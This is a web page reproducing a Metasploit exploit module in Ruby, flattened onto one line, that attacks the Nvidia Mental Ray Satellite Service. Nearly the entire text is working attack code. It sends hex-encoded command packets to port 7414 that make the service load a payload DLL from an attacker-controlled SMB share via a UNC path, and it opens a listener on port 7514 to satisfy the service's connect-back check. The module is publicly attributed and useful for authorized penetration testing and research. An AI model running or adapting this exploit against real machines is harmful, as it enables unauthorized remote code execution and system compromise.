Search the Community

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::SMB::Server::Share include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Nvidia Mental Ray Satellite Service Arbitrary DLL Injection', 'Description' => %q{ The Nvidia Mental Ray Satellite Service listens for control commands on port 7414. When it receives the command to load a DLL (via an UNC path) it will try to connect back to the host on port 7514. If a TCP connection is successful it will then attempt to load the DLL. This module has been tested successfully on Win7 x64 with Nvidia Mental Ray Satellite Service v3.11.1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # Discovery 'Donato Ferrante', # Discovery 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module ], 'References' => [ [ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', { 'Arch' => [ ARCH_X86_64 ] } ] ], 'Privileged' => true, 'DisclosureDate' => 'Dec 10 2013', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(7414), OptInt.new('LISTEN_PORT', [ true, 'The port to catch the return connection on', 7514]), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) ], self.class) deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME') end def primer self.file_contents = generate_payload_dll print_status("File available on #{unc}...") print_status("Trying to execute remote DLL...") send_exploit end def setup super # These lengths are required, although we specify the UNC path # length in the exploit, the header probably has another length # value we don't adjust. self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll" self.share = Rex::Text.rand_text_alpha(5) end def exploit begin Timeout.timeout(datastore['SMB_DELAY']) { super } rescue Timeout::Error # do nothing... just finish exploit and stop smb server... end end def send_exploit # No idea what most of this hello is... hello = "6c72696d3030303030203030303031203136333932203037353134203030303031203039303936203030303030207261796d7" hello << "36734302d332e31312e312e345f5f5f5f5f5f5f5f5f5f5f5f0020007c5241593331317c53554231000100000000e90300000" hello << "0000000ffffffffffffffff1807000000000000dc10d7fdfe0700003018a40500000000e73654fffe070000c0afcd0000000" hello << "000ffffffffffffffffffffffffffffffff18070000000000007014a70100000000763754fffe0700000000000000000000f" hello << "035ae01000000003036ae0100000000da2152fffe0700003036ae0100000000a33754fffe070000000000000000000000000" hello << "00000000000ffffffffffffffffffffffffffffffff3036ae0100000000c40e53fffe0700007014a70100000000180700000" hello << "0000000000000000000000000000000000000000000000000000000020000000000000001000000000000005035440400000" hello << "0008013a7010000000090b3cd00000000001807000000000000b929d80300000000000000000000000018070000000000009" hello << "0b3cd000000000010cda701000000000000000000000000010100000000000000b3cd0000000000060000000000000066000" hello << "200000000000000020000000a0008000000a01a0fe73d00cf118ca300804034ae01000000000100000000000000000000000" hello << "0000000030000000a000000" hello = Rex::Text.hex_to_raw(hello) # Start of command - again no idea what this is... load_dll = Rex::Text.hex_to_raw("4ed32cb1740500000000000001130013") # Length of path string including null byte load_dll << [unc.length + 1].pack('V') # Data type? load_dll << [2].pack('V') # Assembly Load? load_dll << "AL" load_dll << unc << "\x00" # Some padding at the end... load_dll << rand_text_alpha(1386 - unc.length) # We have to start a second listening port although we dont actually care about # handling client connections. It appears as long as the service can make a # connection its happy and will move onto the DLL loading create_listen_port vprint_status("Connecting to target and sending commands") connect sock.put(hello) sock.put(load_dll) print_status("Instructed the service to load #{unc}...") end def create_listen_port port = datastore['LISTEN_PORT'] comm = datastore['ListenerComm'] if comm == "local" comm = ::Rex::Socket::Comm::Local else comm = nil end @listener = Rex::Socket::TcpServer.create( 'LocalHost' => datastore['SRVHOST'], 'LocalPort' => port, 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) # Register callbacks @listener.on_client_connect_proc = proc { |cli| add_socket(cli) begin print_status("#{cli.peerhost.ljust(16)} #{shortname} - Connected to Listener on #{port}...") ensure # Need to close the socket for the SMB request to be # initiated... remove_socket(cli) end } @listener.start vprint_status("Started listening on TCP port #{port}") end def cleanup super return unless @listener begin @listener.deref if @listener.is_a?(Rex::Service) if @listener.is_a?(Rex::Socket) @listener.close @listener.stop end @listener = nil rescue ::Exception end end end Source